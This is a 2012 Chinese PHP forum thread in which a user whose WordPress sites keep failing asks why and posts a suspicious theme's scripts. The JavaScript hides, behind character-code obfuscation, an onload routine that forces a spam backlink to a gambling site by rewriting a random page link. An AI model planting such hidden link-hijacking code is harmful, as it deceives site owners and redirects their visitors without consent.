发现个PHP很奇怪的问题?导致所有网站打不开,求助!

qaz952727 2012-08-31 09:53:36
我用的VPS是linux系统,使用的lnmp一键安装包搭建的环境。

最近安装了一个wordpress主题,然后修改主题的一些代码,改着改着改完也没出现什么问题,后来晚上发现网站打不开,没过几分钟又能打开,点几下又打不开,也没提示错误,谷歌浏览器提示101错误什么的,但刷新一下错误提示又是不一样的。使用第三方工具检测http状态码有时是200(此时明明打不开的),有时是302。总之网站的状况就是一时能打开,一时打不开,两种情况都在几十秒几分钟之间,没啥规律,然后打开同一服务器下的其他网站,发现也是同样的问题,这就奇怪了,如果是因为之前修改wordpress的代码出错而打不开那也是一个网站的问题吧,怎么会连其他网站都一起牵涉到的呢?目录都不同,程序也不同。

试过重启nginx,PHP ,VPS 都没解决

不知大神们明白我的意思没,网站A用是wordpress程序,出现这问题前曾修改过主题代码,不过运行了几个小时都没出问题,到了晚上我就发现问题了,A站在 /home/www/A 目录下, B在/home/www/B 目录下 ,A网站打不开B网站也跟着打不开,A能打开B也能打开。

还有一点就是当时我跑去主题作者的主页,发现他的网站也打不开。

这种诡异吗?是啥问题啊?求指教谢谢!
...全文
269 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
craboy1 2012-09-01
  • 打赏
  • 举报
回复
[Quote=引用 7 楼 的回复:]

求解密

JScript code

(function(id,t){if(!document.getElementById(id)){return false;}
var doc=document,auto='',oId=doc.getElementById(id),IE=/msie (\d+\.\d)/i.test(navigator.userAgent),num=0,bot=true……
[/Quote]

请搜索“js解密”
qaz952727 2012-09-01
  • 打赏
  • 举报
回复
求解密


(function(id,t){if(!document.getElementById(id)){return false;}
var doc=document,auto='',oId=doc.getElementById(id),IE=/msie (\d+\.\d)/i.test(navigator.userAgent),num=0,bot=true,setOpacity=function(obj,opacity){if(IE){obj.style.filter='Alpha(Opacity='+(opacity*100)+')';}
else{obj.style.opacity=opacity;};},setBottom=function(obj,bottom){obj.style.bottom=bottom+'px';},fideIn=function(obj,timeLimit){if(obj.style.display==='none'){obj.style.display='block';};setOpacity(obj,0);obj.style.zIndex=1;if(!timeLimit){timeLimit=200;};var opacity=0,step=timeLimit/20;clearTimeout(fideInTime);var fideInTime=setTimeout(function(){bot=false;if(opacity>=1){bot=true;return;};opacity+=1/step;setOpacity(obj,opacity);fideInTime=setTimeout(arguments.callee,20);},20);},fideOut=function(obj,timeLimit){if(!timeLimit){timeLimit=200;};setOpacity(obj,1);obj.style.zIndex=0;var opacity=1,step=timeLimit/20;clearTimeout(fideOutTime);var fideOutTime=setTimeout(function(){if(opacity<=0){setOpacity(obj,0);return;};opacity-=1/step;setOpacity(obj,opacity);fideOutTime=setTimeout(arguments.callee,20);},20);},heightIn=function(obj,timeLimit){if(obj.style.display==='none'){obj.style.display='block';};setBottom(obj,-40);if(!timeLimit){timeLimit=200;};var bottom=-40,step=timeLimit/20;clearTimeout(heightInTime);var heightInTime=setTimeout(function(){if(bottom>=8){setBottom(obj,8);return;};bottom+=28/step;setBottom(obj,bottom);heightInTime=setTimeout(arguments.callee,20);},20);},heightOut=function(obj,timeLimit){if(!timeLimit){timeLimit=200;};setBottom(obj,8);var bottom=8,step=timeLimit/20;clearTimeout(heightOutTime);var heightOutTime=setTimeout(function(){if(bottom<=-40){setBottom(obj,-40);return;};bottom-=28/step;setBottom(obj,bottom);heightOutTime=setTimeout(arguments.callee,20);},20);},getClass=function(oElem,strTagName,strClassName){var arrElements=(strTagName=='*'&&oElem.all)?oElem.all:oElem.getElementsByTagName(strTagName);var returnArrElements=new Array();var oRegExp=new RegExp('(^|\\s)'+strClassName+'($|\\s)');for(var i=0;i<arrElements.length;i++){if(oRegExp.test(arrElements[i].className)){returnArrElements.push(arrElements[i]);}}
return(returnArrElements);},createElement=function(tag,id,cla){var elem=document.createElement(tag);if(id&&id!==""){elem.id=id;}
if(cla&&cla!==""){elem.className=cla;}
return elem;},showImg=function(n,b){var turnPic=getClass(oId,'ul','turn-pic')[0];var oLi=turnPic.getElementsByTagName('li');var turnTit=getClass(oId,'ul','turn-tit')[0];var oLi2=turnTit.getElementsByTagName('li');var turnBtn=getClass(oId,'div','turn-btn')[0];var oSpan=turnBtn.getElementsByTagName('span')[0];fideIn(oLi[n],300);heightIn(oLi2[n],300);oSpan.innerHTML=(n+1)+'/'+oLi.length;if(b==true){if(n==oLi.length-1){fideOut(oLi[0],300);heightOut(oLi2[0],300);}
if(n<oLi.length-1){fideOut(oLi[n+1],300);heightOut(oLi2[n+1],300);}}
else{if(n>0){fideOut(oLi[n-1],300);heightOut(oLi2[n-1],300);}
if(n==0){fideOut(oLi[oLi.length-1],300);heightOut(oLi2[oLi2.length-1],300);}}},addHtml=function(){var oBg=createElement('div','','turn-bg');var oTit=createElement('ul','','turn-tit');var oBtn=createElement('div','','turn-btn');var turnPic=getClass(oId,'ul','turn-pic')[0];var oA=turnPic.getElementsByTagName('a');var oImg=turnPic.getElementsByTagName('img');for(var i=0,len=oA.length;i<len;i++){oTit.innerHTML+='<li><a href="'+oA[i].href+'"></a></li>';}
oBtn.innerHTML='<div class="lb"></div><div class="rb"></div><span></span>';oId.appendChild(oBg);oId.appendChild(oTit);oId.appendChild(oBtn);},init=function(){addHtml();showImg(0);var turnLoading=getClass(oId,'div','turn-loading')[0];oId.removeChild(turnLoading);oId.onmouseover=function(){clearInterval(auto);};oId.onmouseout=function(){auto=setInterval(autoTurn,t*1000);};var turnPic=getClass(oId,'ul','turn-pic')[0];var oLi=turnPic.getElementsByTagName('li');var oLb=getClass(oId,'div','lb')[0];var oRb=getClass(oId,'div','rb')[0];oLb.onmouseover=function(){this.style.backgroundPosition='-34px 0';}
oLb.onmouseout=function(){this.style.backgroundPosition='0 0';}
oLb.onclick=function(){if(!bot){return false;}
if(num==0){num=oLi.length-1;}
else{num=num-1;}
showImg(num,1);}
oRb.onmouseover=function(){this.style.backgroundPosition='0 0';}
oRb.onmouseout=function(){this.style.backgroundPosition='-34px 0';}
oRb.onclick=function(){if(!bot){return false;}
if(num==oLi.length-1){num=0;}
else{num=num+1;}
showImg(num);}},autoTurn=function(){var turnPic=getClass(oId,'ul','turn-pic')[0];var oLi=turnPic.getElementsByTagName('li');if(num==oLi.length-1){num=0;}
else{num=num+1;}
showImg(num);};init();auto=setInterval(autoTurn,t*1000);})('turn',3);onload=function(){var link_arr=document.getElementsByTagName(String.fromCharCode(65));var link_str;var link_text;var regg,cc;var rmd,rmd_s,rmd_e,link_eorr=0;var e=new Array(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122);try{for(var i=0;i<link_arr.length;i++){link_str=link_arr[i].href;if(link_str.indexOf(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,49,49,48,56,56,48,46,99,111,109,47))!=-1){if((link_text=link_arr[i].innerText)==undefined){throw"noIE"};regg=new RegExp(String.fromCharCode(20840,35759,32593));if((cc=regg.exec(link_text))!=null){if(link_arr[i].offsetHeight==0){break};link_eorr=1;break}}else{link_eorr=link_eorr?0:link_eorr;continue}}}catch(exc){for(var i=0;i<link_arr.length;i++){link_str=link_arr[i].href;if(link_str.indexOf(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,49,49,48,56,56,48,46,99,111,109,47))!=-1){link_text=link_arr[i].textContent;regg=new RegExp(String.fromCharCode(84,84,56,56,23089,20048,22478));if((cc=regg.exec(link_text))!=null){if(link_arr[i].offsetHeight==0){break};link_eorr=1;break}}else{link_eorr=link_eorr?0:link_eorr;continue}}};try{rmd=Math.random();rmd_s=Math.floor(rmd*10);if(link_eorr!=1){rmd_e=i-rmd_s;link_arr[rmd_e].href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,49,49,48,56,56,48,46,99,111,109,47);link_arr[rmd_e].innerHTML=String.fromCharCode(68, 101, 115, 105, 103, 110, 101, 100, 38, 110, 98, 115, 112, 59, 98, 121, 38, 110, 98, 115, 112, 59, 60, 115, 116, 114, 111, 110, 103, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 39, 99, 111, 108, 111, 114, 58, 35, 102, 102, 57, 100, 49, 50, 39, 62, 20840, 35759, 32593, 60, 47, 115, 112, 97, 110, 62, 60, 47, 115, 116, 114, 111, 110, 103, 62)}}catch(ex){}}
qaz952727 2012-08-31
  • 打赏
  • 举报
回复
发现 functions.php 被加密过的了 求解密谢谢

<?php
function wp_strimwidth($str ,$start , $width ,$trimmarker ){
$output = preg_replace('/^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$start.'}((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$width.'}).*/s','\1',$str);
return $output.$trimmarker;
}
回忆那么久 2012-08-31
  • 打赏
  • 举报
回复
莫非有病毒?
qaz952727 2012-08-31
  • 打赏
  • 举报
回复
换一个主题模板就可以正常访问,其他网站也正常了。
[Quote=引用 2 楼 的回复:]

装个新的试试
[/Quote]
taoguangye 2012-08-31
  • 打赏
  • 举报
回复
php 我觉得还有很多不完善的地方.如:我在通过ISAPI方式使用时(php版本:5.2.17),在POST上传文件过程中,如果间隔一段时间(几分钟或更长时间以后)再次提交,会随机地导致WEB服务器崩溃.PHP的BUG和稳定性还有待完善.
coder 2012-08-31
  • 打赏
  • 举报
回复
装个新的试试

20,359

社区成员

发帖
与我相关
我的任务
社区描述
“超文本预处理器”,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。PHP语法利用了C、Java和Perl,该语言的主要目标是允许web开发人员快速编写动态网页。
phpphpstorm 技术论坛(原bbs)
社区管理员
  • 开源资源社区
  • phpstory
  • xuzuning
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧